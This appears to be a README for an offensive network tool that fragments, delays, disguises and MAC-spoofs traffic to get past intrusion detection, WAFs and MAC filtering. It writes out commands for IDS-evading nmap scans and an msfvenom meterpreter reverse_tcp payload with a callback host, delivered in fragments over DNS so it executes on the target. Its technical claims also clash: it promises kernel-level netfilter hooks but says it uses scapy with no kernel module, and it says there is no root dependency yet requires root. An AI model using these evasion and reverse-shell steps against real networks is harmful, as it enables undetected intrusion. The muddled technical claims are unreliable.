Flea Flicker NetFilter
IDS blocks your scans. ML detects your payloads. Behavioral analysis flags your timing. Your pentest is over before it starts.
Flea Flicker manipulates packets at kernel level—before they hit the network, before IDS sees them. Netfilter hooks. Fragment payloads. Randomize timing. Impersonate protocols. Traffic looks legitimate. IDS sees nothing suspicious. Manual control over packet behavior. Not automated evasion. Not script kiddie tools.
Fragment, Delay, Impersonate: Kernel-Level Evasion
Deep Packet Inspection Evasion
IDS reads packet contents. Pattern matching catches exploits. Signature detection blocks payloads. Flea Flicker fragments your attack across multiple packets: encrypt at the application layer before the network layer, insert random padding between fragments, reassemble only at destination.
Normal Metasploit payload:
[TCP Header][Exploit Code]
↓ IDS sees exploit signature, blocks
Flea Flicker:
[TCP Header][Fragment 1 + Padding]
[TCP Header][Fragment 2 + Padding]
[TCP Header][Fragment 3 + Padding]
↓ IDS sees incomplete fragments, allows
↓ Target reassembles into exploit
Protocol Impersonation
Unusual protocols get flagged. Port scans detected immediately. Make attack traffic look like legitimate services.
Nmap scan on port 445:
→ SMB enumeration detected, blocked
Flea Flicker wrapped Nmap:
→ Packets look like HTTPS traffic on 443
→ Payload hidden in TLS-like structure
→ IDS sees "normal web browsing"
→ Scan proceeds undetected
Timing Randomization
Behavioral analysis detects patterns. Regular intervals mean automated scanning. You get caught. Flea Flicker randomizes delays between packets (0.1s to 5s), injects jitter to mimic human interaction, and throttles volume to stay under detection thresholds. This defeats time-series analysis, rate limiting, and correlation engines that break on temporal clustering.
MAC Address Rotation
Network access control, MAC filtering, device tracking—they know your hardware. Flea Flicker rotates MAC every N packets, spoofs the vendor OUI to look like different hardware, and maintains DHCP lease across rotations. Use case: bypass MAC filtering on WiFi networks during authorized pentest.
Traffic Mimicry
Volume analysis spots anomalies. Attack traffic does not look like normal users. Hide in normal traffic by generating decoy traffic alongside real attacks, matching volume patterns to office hours and usage spikes, and mixing protocols (HTTP, DNS, SMTP). The real attack disappears into noise that looks like a normal user.
Technical Implementation
Built in Python with scapy for packet-layer manipulation. The FleaFlickerEvasion class wraps the core evasion engine. Scapy intercepts at the raw socket level — no kernel module required, no root dependency on compilation. The tradeoff is performance versus portability. This one chose portability.
from flea_flicker_evasion import FleaFlickerEvasion
ff = FleaFlickerEvasion()
# Ghost mode: fragment + randomize timing + protocol impersonation
ff.enable_ghost_mode(
fragment_size=64,
delay_range=(0.5, 3.0),
impersonate_protocol="https"
)
# Shadow mode: MAC rotation + decoy traffic generation
ff.enable_shadow_mode(interface="wlan0", rotation_interval=100)
[Application] → [Payload]
↓
[FleaFlickerEvasion interceptor — Python/scapy]
↓
[Fragment + Timing Jitter + Protocol Wrap + MAC Rotation]
↓
[Modified packets] → [Network]
↓
[IDS sees: normal HTTPS traffic, variable timing, rotating hardware IDs]
MAC rotation runs on a thread. Every N packets the interface MAC changes, vendor OUI spoofed to a plausible hardware manufacturer. DHCP lease survives the rotation by reacquiring before the old one expires — the device looks like new hardware joining the network rather than an existing device changing its address.
Real-World Scenario
Objective: enumerate SMB shares on a corporate network with IDS deployed.
Without Flea Flicker:
$ nmap -p 445 --script smb-enum-shares 10.0.0.0/24
→ IDS detects: Port scan + SMB enumeration
→ Alert triggered
→ IP blocked
→ Pentest detected
With Flea Flicker:
$ flea-flicker --mode ghost --protocol https \
nmap -p 445 --script smb-enum-shares 10.0.0.0/24
→ Packets fragmented across 20-second window
→ Traffic appears as HTTPS on port 443
→ Timing randomized (looks like browsing)
→ IDS sees: Normal web traffic
→ Scan completes undetected
→ Pentest proceeds
Pentest Integration
Metasploit payload wrapping:
# Generate payload
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=10.0.0.1 LPORT=443 -f raw > payload.bin
# Wrap with Flea Flicker
flea-flicker --wrap payload.bin \
--protocol dns --fragment-size 64 --delay 0.5-3.0
# Deliver wrapped payload
# Target receives fragments over DNS
# IDS sees legitimate DNS queries
# Payload reassembles and executes
Burp Suite extension:
[Burp Repeater]
↓
[Flea Flicker Proxy]
↓
[Obfuscated HTTP requests]
↓
[Target Web App]
WAF sees fragmented, time-delayed requests
Attack succeeds where direct request blocked
Nmap evasion:
# Standard aggressive scan (detected immediately)
nmap -A -T4 target.com
# Flea Flicker wrapped (evades detection)
flea-flicker --mode shadow --timing random \
nmap -A -T2 target.com
Installation
git clone https://github.com/ghostintheprompt/flea-flicker-netfilter
cd flea-flicker-netfilter
pip3 install psutil scapy
sudo ./install.sh
python3 netfilter.py --help
Requires Python 3.8+ and root access for raw socket operations. Compatible with Kali, ParrotOS, Ubuntu, Debian. No kernel module compilation — scapy handles packet interception at the raw socket layer.
